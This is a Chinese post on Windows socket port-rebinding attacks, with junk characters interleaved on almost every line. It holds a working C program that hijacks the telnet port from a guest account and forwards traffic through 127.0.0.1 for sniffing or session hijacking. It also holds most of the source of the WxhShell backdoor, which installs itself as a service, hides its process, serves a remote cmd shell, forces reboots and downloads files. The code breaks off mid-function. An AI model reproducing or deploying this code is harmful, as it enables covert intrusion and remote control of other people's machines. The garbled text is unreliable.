在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
e?8FN. q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Dv5D~on{ #_^Lb]jkM saddr.sin_family = AF_INET;
e#$]Y?, j i7[nY saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Lr~=^{ (ROY?5
@c bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y[}>CYO #W4dkCd(pF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H4&lb} w"-Lc4t+ 这意味着什么?意味着可以进行如下的攻击:
/<|%yE&KhJ U`, 6 * MS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"Q@ronP(~ -g*4(w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1mOh{:1u Y)* #)f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
EyJJ0 (X\@t-8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
JfLqtXF[&" l5!|I:/*; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
eD?tLj k@ RDvn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8]/bK5` _E@2ZnD2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_=F=`xu cPyE 6\lN #include
X86O lP)eX #include
Jh,]r?Bd #include
Z>:NPZODf #include
.WA-&b_ DWORD WINAPI ClientThread(LPVOID lpParam);
CQF:Rnb int main()
5Ha9lM2gh {
5q3JI WORD wVersionRequested;
gmw|H?] DWORD ret;
cQCSe,$ W WSADATA wsaData;
tkeoNuAM BOOL val;
ZxGJzakB5$ SOCKADDR_IN saddr;
}YGV\Nu SOCKADDR_IN scaddr;
ayR-\mZ int err;
&^ 1$^= SOCKET s;
+"
.X
)avF SOCKET sc;
!Xf5e*1IS int caddsize;
`u3EU*~W HANDLE mt;
y\4L{GlBM DWORD tid;
)~)J?l3{ wVersionRequested = MAKEWORD( 2, 2 );
*2pt%eav err = WSAStartup( wVersionRequested, &wsaData );
Gp?a(-K5 if ( err != 0 ) {
[B\h$IcRv printf("error!WSAStartup failed!\n");
xHvZV<# return -1;
fphv }
4gI/!,J(b saddr.sin_family = AF_INET;
jS]ru-5. +%yfcyZ. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
x kx^%3dV 81? hY4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+h|`/ &, saddr.sin_port = htons(23);
%(3|R@G. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DE}K~}sbd {
+\d56j+D printf("error!socket failed!\n");
I8hz(2jI return -1;
Aza /6OL }
dk[!V1x4\ val = TRUE;
yj 3cyLXw //SO_REUSEADDR选项就是可以实现端口重绑定的
5d Eh7XL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
SYAyk {
Pr':51( printf("error!setsockopt failed!\n");
Q{s H3Y#l return -1;
#xsE3Wj-X }
o[Q MT P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ra)3+M!x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]#)()6)2v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?PuBa`zDE !"?#6-,Xn if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
u%&`}g {
dyz2.ZY~2 ret=GetLastError();
EizKoHI-z printf("error!bind failed!\n");
(9''MlGd% return -1;
Q|S.R1L^ }
\FQRNj?'_ listen(s,2);
jFQQ`O V while(1)
2V-
16Q'% {
Z3"%`*Tmq- caddsize = sizeof(scaddr);
k^3>Y%^1 //接受连接请求
[A+
>^ { sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D=q:*x if(sc!=INVALID_SOCKET)
l:
HTk4$0 {
p|X"@kuseO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?AK(| if(mt==NULL)
=MQoC:l {
yr)G]K[/ printf("Thread Creat Failed!\n");
%P;lv*v. break;
7Haa;2
T' }
F&4rO\aC"/ }
L*Tj^q!t+ CloseHandle(mt);
27eooY1 }
Jj; L3S closesocket(s);
MK%9:wZ WSACleanup();
~qiJR`Jj return 0;
"Gsc;X'id }
;5]Lf$tZ DWORD WINAPI ClientThread(LPVOID lpParam)
5Yg'BkEr {
9'fQHwsJ SOCKET ss = (SOCKET)lpParam;
Bd!bg|uO* SOCKET sc;
Z^bQ^zk- unsigned char buf[4096];
>6ni")Q9 SOCKADDR_IN saddr;
D$w6V long num;
v,FU^f-' DWORD val;
0M_ DB= DWORD ret;
h{)kQLuzT //如果是隐藏端口应用的话,可以在此处加一些判断
ep!Rf: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[;n9:Qxf saddr.sin_family = AF_INET;
+F R0(T saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
H*d9l2,KZS saddr.sin_port = htons(23);
qmkAg }2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
66g9l9wm( {
S5gyr&dm printf("error!socket failed!\n");
Yz<3JRw return -1;
u0JB\)(-/h }
UFXaEl}R val = 100;
B{QBzx1L9c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T;Lkaxsn {
w#ZoZZ wh ret = GetLastError();
5dx$HE&b) return -1;
&W|[r( }
I,E?h?6Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&fDIQISC {
Tr_w]' ret = GetLastError();
!{ y@od@T return -1;
"IZa!eUW }
$.Qkb@} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
]&o$b ] {
;;!yC printf("error!socket connect failed!\n");
NxkGOAOE closesocket(sc);
fe\mL mK9 closesocket(ss);
d2*fLEsF return -1;
X:A^<L
~ }
L^r#o-H< while(1)
GB23\Yv {
>@U*~Nz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
] ]u
s % //如果是嗅探内容的话,可以再此处进行内容分析和记录
GoJ.&aH $ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
KI.q@zO6| num = recv(ss,buf,4096,0);
6/f7< if(num>0)
k9<;woOBO send(sc,buf,num,0);
35h8O,Y else if(num==0)
'F/~o1\. break;
fW{(lPx num = recv(sc,buf,4096,0);
{0L1X6eg if(num>0)
`xKp%9 send(ss,buf,num,0);
T.])diuvj- else if(num==0)
6Pz4\uE= break;
n7zm>& }
R"-mKT} closesocket(ss);
^PDJ0k/u1 closesocket(sc);
|J1$=s return 0 ;
vHgi<@u }
+cJL7=V& 8+~
>E wy<\Tg^J ==========================================================
uu-PJTNZ -"R2 下边附上一个代码,,WXhSHELL
?j'7l=94A ;!>rnxB?4 ==========================================================
J!AgBF N4 &u]8IEv}u #include "stdafx.h"
} +TORR? a[>/h3 #include <stdio.h>
w x]0p #include <string.h>
IQAZuN"< #include <windows.h>
4svBzZdr #include <winsock2.h>
HCIU!4rH #include <winsvc.h>
|h KDvH #include <urlmon.h>
7!$Q;A WQx?[tW(U #pragma comment (lib, "Ws2_32.lib")
TtK[nP #pragma comment (lib, "urlmon.lib")
)Oq|amvC 5-FQMXgThc #define MAX_USER 100 // 最大客户端连接数
2Sle#nw3 #define BUF_SOCK 200 // sock buffer
sZ3KT& #define KEY_BUFF 255 // 输入 buffer
hXcyoZ8 OyU5DoDz1 #define REBOOT 0 // 重启
?so=;gh #define SHUTDOWN 1 // 关机
mu\6z_e ]V[q(-Jk #define DEF_PORT 5000 // 监听端口
o$wEEz*4 ,cXD.y #define REG_LEN 16 // 注册表键长度
=%BSKSG. #define SVC_LEN 80 // NT服务名长度
a]$1D!Anc jrCfWa}z // 从dll定义API
ML}J\7R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pf]xqhL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]l;o}+`G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
m~w[~flgZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
A9[ F O;+ maY^l // wxhshell配置信息
NyaQI<5D struct WSCFG {
n"h`5p5' int ws_port; // 监听端口
]>W6
bTK char ws_passstr[REG_LEN]; // 口令
UBv,=v int ws_autoins; // 安装标记, 1=yes 0=no
df*#!D7oz char ws_regname[REG_LEN]; // 注册表键名
! :Y:pu0 char ws_svcname[REG_LEN]; // 服务名
vRznw&^E char ws_svcdisp[SVC_LEN]; // 服务显示名
3BzNi' char ws_svcdesc[SVC_LEN]; // 服务描述信息
!-g{[19\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]dF
,:8 int ws_downexe; // 下载执行标记, 1=yes 0=no
<S5BDk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
UgRhWV~f0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|{&{ ww)<E`eGi };
-r!. 9q V~UN // default Wxhshell configuration
"0$a)4] struct WSCFG wscfg={DEF_PORT,
>;jZa "xuhuanlingzhe",
3(``#7 1,
.14~J6 "Wxhshell",
H(H<z,$}T "Wxhshell",
Oylf<&knF\ "WxhShell Service",
M#ZcY "Wrsky Windows CmdShell Service",
#9=Vg "Please Input Your Password: ",
'%>=ZhO 1,
W4t;{b "
http://www.wrsky.com/wxhshell.exe",
2_)\a(.Qu "Wxhshell.exe"
{WJ m };
G5{T5# xv46r=> // 消息定义模块
O8f?; ] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m\;R2"H% char *msg_ws_prompt="\n\r? for help\n\r#>";
M+-*QyCFK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Y`KqEjsC* char *msg_ws_ext="\n\rExit.";
LmRy1T,act char *msg_ws_end="\n\rQuit.";
ZVW'>M7. char *msg_ws_boot="\n\rReboot...";
@MoKWfc char *msg_ws_poff="\n\rShutdown...";
B[qzUD*P_n char *msg_ws_down="\n\rSave to ";
Ih@61>X.o* !d'GE`w T char *msg_ws_err="\n\rErr!";
D,FHZDt char *msg_ws_ok="\n\rOK!";
[.K1iZyTi 87=&^.~` char ExeFile[MAX_PATH];
1}"++Z73P int nUser = 0;
a a<8,; HANDLE handles[MAX_USER];
0`Kj25 int OsIsNt;
)z>|4@, Qo>b*Ku; SERVICE_STATUS serviceStatus;
@<,X0S SERVICE_STATUS_HANDLE hServiceStatusHandle;
x-XD.qh7Hr Z~GL5]S // 函数声明
-7SAK1c$ int Install(void);
1eA7>$w}[ int Uninstall(void);
RXNn[A4xfY int DownloadFile(char *sURL, SOCKET wsh);
fAF1"4f int Boot(int flag);
\S_Ou void HideProc(void);
G3txj int GetOsVer(void);
}#3V+X int Wxhshell(SOCKET wsl);
.b_)%jd x void TalkWithClient(void *cs);
y@1+I~@ int CmdShell(SOCKET sock);
#HYr0Tw6` int StartFromService(void);
2{D{sa int StartWxhshell(LPSTR lpCmdLine);
Id*Ce2B PYQ;``~x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JR' VOID WINAPI NTServiceHandler( DWORD fdwControl );
q~
tz? T_ Mc@e0 // 数据结构和表定义
8."]//V SERVICE_TABLE_ENTRY DispatchTable[] =
\Bz_p'[G {
Y21g{$~Q{ {wscfg.ws_svcname, NTServiceMain},
[2>yYr s_= {NULL, NULL}
U] ~$g}!) };
(DJ"WG FSP+?(( // 自我安装
eP.wOl int Install(void)
w2Us!<x {
&]V.S7LC# char svExeFile[MAX_PATH];
7Sf
bx~48 HKEY key;
Uq[>_"} strcpy(svExeFile,ExeFile);
uyO/55;HO _> f`!PlB| // 如果是win9x系统,修改注册表设为自启动
a Ve'ry if(!OsIsNt) {
Q}`0W[a
~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@>u}eB>Kn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,NOsFO-`< RegCloseKey(key);
~Io7] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i6R~`0>Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vNVox0V RegCloseKey(key);
-^K"ZP1 return 0;
Amp#GR1CA }
y?rPlA_ }
\j+1V1t9 }
iM AfJ-oN else {
)5rb&M} 6uv#de // 如果是NT以上系统,安装为系统服务
bNm#tmSt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ICpAt~3[M if (schSCManager!=0)
oOnop-z7 {
.RE:;<|w SC_HANDLE schService = CreateService
2^Eg9y' (
fA&k`L(y schSCManager,
V n7*JS wscfg.ws_svcname,
NYt&@Z}] wscfg.ws_svcdisp,
s0\X ^ SERVICE_ALL_ACCESS,
&[_g6OL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Jk&3%^P{m SERVICE_AUTO_START,
E8!e:l
=Q SERVICE_ERROR_NORMAL,
d.3E[AJa( svExeFile,
d<% z
1Dj2 NULL,
B%"
d~5Y NULL,
81](T< NULL,
!4]TXH0f NULL,
O80<Z#%j` NULL
{^
qcx 8 );
6,o~\8ia if (schService!=0)
pqk?|BvpK_ {
H0:E(}@ CloseServiceHandle(schService);
NYyh|X:m CloseServiceHandle(schSCManager);
gRrL[z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|^0XYBxQ strcat(svExeFile,wscfg.ws_svcname);
X]'{(?Ch if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
T,7Y7c/3V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%;cddLQ\xY RegCloseKey(key);
%.vQU @2A return 0;
.nB0 h }
83E7k]7] }
RtGWG*v4] CloseServiceHandle(schSCManager);
u0 P|0\ }
~F7-HaQJ }
uYn_? G 7[w,:9& } return 1;
TBs|r# }
0f~C#/[t7 :a^t3s // 自我卸载
Ed"h16j?z int Uninstall(void)
e63uLWDT {
5"^en# ?9 HKEY key;
:imW\@u j:<n+:HC if(!OsIsNt) {
*Y,x|F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U(a#@K!H RegDeleteValue(key,wscfg.ws_regname);
9Kpa>< RegCloseKey(key);
M2d$4-< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1jCLO} RegDeleteValue(key,wscfg.ws_regname);
/rMI"khB RegCloseKey(key);
$Oq^jUJ return 0;
5)FJ:1- }
0M*Z'n
+ }
R,gR;Aarw }
FR$:" else {
W6f/T3 .}^g!jm~h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ao%NK<Lt if (schSCManager!=0)
8?J&`e/ {
ZU85P0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
V}bjK8$$ if (schService!=0)
4\y/'`xm)6 {
2w59^"<, if(DeleteService(schService)!=0) {
D'7SAFOM CloseServiceHandle(schService);
E7NV ^4h CloseServiceHandle(schSCManager);
XDsx3Ws return 0;
esHg'8?U }
U@g4w!$r CloseServiceHandle(schService);
)+l\w3^6 }
}&/o'w2wY CloseServiceHandle(schSCManager);
t5[#x4
p }
;fsZ7k4]do }
GO8GJ;B-U $AfM>+GQ`n return 1;
RLw;(*(g }
h^?\xm| [f)cL6AeF // 从指定url下载文件
IT(lF int DownloadFile(char *sURL, SOCKET wsh)
Q
7 {
>{N9kWY HRESULT hr;
Z8zmHc"IH char seps[]= "/";
IzsphBI char *token;
XaCX!Lr, char *file;
18~>ZR char myURL[MAX_PATH];
&f"-d char myFILE[MAX_PATH];
#i@;J]x( wLmhy, strcpy(myURL,sURL);
5i>$]*o token=strtok(myURL,seps);
1xD=ffM>8N while(token!=NULL)
=G]1LTI {
|rJ=Ksc file=token;
_(Sa4Vb=Q6 token=strtok(NULL,seps);
ZNf6;%oGG }
%C$%!C H18Tn!RDS GetCurrentDirectory(MAX_PATH,myFILE);
3|WWo1 strcat(myFILE, "\\");
C
'v+f= strcat(myFILE, file);
&S( .GdEf send(wsh,myFILE,strlen(myFILE),0);
v\!Be[ ? send(wsh,"...",3,0);
7l'6gg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!_`&Wks if(hr==S_OK)
4#ug]X4Y') return 0;
8)O[Aq:: else
bu
|a0h7e return 1;
ERpnuMb hJn%mdx~w| }
crqpV F]1] V=zi
>o` // 系统电源模块
_9JhL:cY int Boot(int flag)
cV 5CaaL {
N
F2/B#q HANDLE hToken;
S'A>2> TOKEN_PRIVILEGES tkp;
]vgB4~4#LP ;ado0-VQi' if(OsIsNt) {
T^ w36}a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LJ*q 1
;<E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
86(I^= tkp.PrivilegeCount = 1;
I|>^1kr8w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e?opkq\f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
IIg^FZ*]_ if(flag==REBOOT) {
LNrX;{ Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
j<u@j+V return 0;
vg
D77 }
j:k[90 else {
Q?3Gk%T0[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Qk\A
c return 0;
\=uKHNP?# }
"ul {d(K3 }
t"k*PA else {
q8^^H$<Db if(flag==REBOOT) {
%F!1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#>%X_o-o23 return 0;
wS4.8iJ }
RT)d ]u else {
<z]cyXv/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
J13>i7]L% return 0;
hJDi7P }
:Qumb }
>iD )eB pV20oSJNt return 1;
T'4z=Z]w }
*8#i$w11M %1O;fQL // win9x进程隐藏模块
nx8a$vI-TY void HideProc(void)
PIH*Rw*GKZ {
<(-3_s6- !OA]s%u HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}&n<uUD H if ( hKernel != NULL )
BB~OqZIP {
%7"X(Ts7B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^;/b+ /B0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
QS{1CC9$ FreeLibrary(hKernel);
W0epAGrB }
Ys,{8Y,7 3jlh}t>$l return;
zY|t0H }
`0P$#5? #;%JT // 获取操作系统版本
kMtwiB|7j int GetOsVer(void)
x9;gT&@H {
EGZb7:Y? OSVERSIONINFO winfo;
O9EKRt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I9:Cb)hbU] GetVersionEx(&winfo);
l~6?kFy9h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
o'W5|Gy return 1;
QAvir%Y9Q else
]@uE#a:[ return 0;
|g
#K]v }
^go7_y :E>HE,1b+ // 客户端句柄模块
8"dv _`ym int Wxhshell(SOCKET wsl)
Q\cjPc0y {
~.UrL(l= SOCKET wsh;
4eikLRD, struct sockaddr_in client;
5dB'&8DX DWORD myID;
<5NF; \
C+(~9@| while(nUser<MAX_USER)
m|=H# {
q{t*34R int nSize=sizeof(client);
NX|v= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[k6nW:C if(wsh==INVALID_SOCKET) return 1;
[ {
bV4 ADpmvW f? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
du)~kU>l if(handles[nUser]==0)
jBU4F~1y closesocket(wsh);
P@,nA41,j else
DdVF, nUser++;
kAu+zX>S+ }
pek%08VSEU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[1F*bI 'ow.=1N- return 0;
=li | }
'g$(QvGF9 Sh?4ri@: // 关闭 socket
_cc#Qlw 7 void CloseIt(SOCKET wsh)
:{oZ ~< {
~-PjW#J% closesocket(wsh);
:cGt#d6 nUser--;
{K9/HqH ExitThread(0);
_>9.v%5cs( }
|b-]n"}c> co9 .wB@ // 客户端请求句柄
,(;lIP void TalkWithClient(void *cs)
|37
g ~ {
K91)qI;BD P&b19 K' SOCKET wsh=(SOCKET)cs;
nS&3?lx9_ char pwd[SVC_LEN];
j{NNSi3 char cmd[KEY_BUFF];
/Wy.>YC| char chr[1];
'Er:a?88l int i,j;
# *TEq `;>= '"O!\ while (nUser < MAX_USER) {
s1e:v+B] Fd#m<" if(wscfg.ws_passstr) {
oI.G-ChP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l'\pk<V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lKlU-4 //ZeroMemory(pwd,KEY_BUFF);
}S3qBQTYL i=0;
Er{#ziN+ while(i<SVC_LEN) {
\[jq4`\$ D5:{fWVsV/ // 设置超时
7}vg.hmZ fd_set FdRead;
@DZB9DDR struct timeval TimeOut;
L3n_ 5| FD_ZERO(&FdRead);
*&d<yJM`b FD_SET(wsh,&FdRead);
(ZY@$'' TimeOut.tv_sec=8;
V^\8BVw TimeOut.tv_usec=0;
[-)r5Dsdq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6$ Gep if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
40|,*wi 1}tbH[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.N*Pl(<[ pwd
=chr[0]; Y_]De3:V0B
if(chr[0]==0xd || chr[0]==0xa) { 1!.(4gV
pwd=0; hs?sGr
break; +e-G,%>9
} JqMDqPIQ
i++; %zSuK8kxV
} fwBRWr9
vmLxkjUm#
// 如果是非法用户,关闭 socket fm^@i;D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z8[yt282
} <}sq?Sfq!
;>AL`M+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ONCnVjZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YSj+\Z$(
P1NJ^rX
while(1) { .58qL-iC
O)Y?=G)
ZeroMemory(cmd,KEY_BUFF); gt/zpiKmV
;L,mBQB?0b
// 自动支持客户端 telnet标准 fPrLM'
j=0; &`fhEN
while(j<KEY_BUFF) { {&"L~>/o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (I@rLvZr{
cmd[j]=chr[0]; tOOchu?=
if(chr[0]==0xa || chr[0]==0xd) { iC*F
cmd[j]=0; [xT:]Pw}
break; EZYBeqv
} P)uDLFp]
j++; 8o/}}=m$
} 5r?m&28X
!xwG%{_
// 下载文件 ]XTu+T.aT
if(strstr(cmd,"http://")) { Z(9u<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); CEC
nq3
if(DownloadFile(cmd,wsh)) YFTjPBV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;r6jx"i
else Nr0
(E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9{$'S4
} HFq m6|
else { 4<x'ocKlD
meCC?YAB
switch(cmd[0]) { W,K%c=
(?H0+zws^
// 帮助 '*Almv {
case '?': { YOrrkbJ(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NBF MN%
break; de]z T^&C
} g/&T[FOr
// 安装 t!2(7=P30(
case 'i': { Vf`7V$sr
if(Install()) Iu{kPyx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|aqP
\Q5
else 5P .qXA"D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >j{z>
break; 6&!&\
} &*s0\
8
// 卸载 iL=
m{
case 'r': { (oJ9k[(
if(Uninstall()) `juLQH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZbT/$\0(6
else KE1ao9H8wR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zh$}~RG[
break; l?iSxqdT
} \@>b;4Fb+N
// 显示 wxhshell 所在路径 7 t?*
case 'p': { (n1Bh~R^
char svExeFile[MAX_PATH]; =0-
$W5E
strcpy(svExeFile,"\n\r"); U;n*j3wT
strcat(svExeFile,ExeFile);
[|~2X>
send(wsh,svExeFile,strlen(svExeFile),0); 9z
I.pv+]
break; `y+-H|%?
} WO6/X/#8b
// 重启 Lw'9
case 'b': { bT6sb#"W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )XfzLF7
if(Boot(REBOOT)) HAYMX:%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jjl%R[mI
else { DOz\n|8S
closesocket(wsh); ~w</!s
ExitThread(0); HK)cKzG[s!
} {T'GQz+R"
break; KI]wm
} yIb,,!y9{
// 关机 \]9.zlB
case 'd': { !m(4F(!"h
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]hud4i~
if(Boot(SHUTDOWN)) 5/QRL\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cE iu)2*e
else { SI_iI 71
closesocket(wsh); v_S4hz6w\
ExitThread(0); zKFp5H1!%+
} eh*6cQ.0
break; Eh|.
} K\^ 0_F K
// 获取shell pr,p=4m{\
case 's': { 6r"u$i`o
CmdShell(wsh); nJ?^?M'F%
closesocket(wsh); L&-hXGx=7
ExitThread(0); $hR)i
break; =TP(
UJ
} D^U:
ih
// 退出 7B3w\
case 'x': { *[eL~oN.c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ySbqnw'
CloseIt(wsh); J!ntXF
break; |KY EK|
} "&Qctk`<P
// 离开 ?8,%LIQ?
case 'q': { rC_*sx
r^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <P%}|@
closesocket(wsh); '<iK*[NW
WSACleanup(); K~RoUE<3[
exit(1); /?/#B `
break; B`$L'
} +KEkmXZ
} E^ hHH?w+
} k#}g,0@
?hYqcT[%
// 提示信息 !}M,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 }vg U$a
} WqrgRpM{
} MYe
HS
2eQdQwX
return; ?y XAu0
} ftk%EYT;
V2|3i}V"
// shell模块句柄 4*Z6}"
int CmdShell(SOCKET sock) uqyB5V0gh
{ "k$JP
STARTUPINFO si; d h^^G^
ZeroMemory(&si,sizeof(si)); $!A:5jech
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f]8I64
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]J2:194
PROCESS_INFORMATION ProcessInfo; lo&#(L+2
char cmdline[]="cmd"; W&"|}Pi/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "()sb? &
return 0; }i!pL(8;
} S06Hs~>Y
f!t69nd%L
// 自身启动模式 \
u+xa{b|
int StartFromService(void) aaWJ*
>rJ
{ UFn8kBk
typedef struct 3b[jwCt
{ |4Ck;gg!j
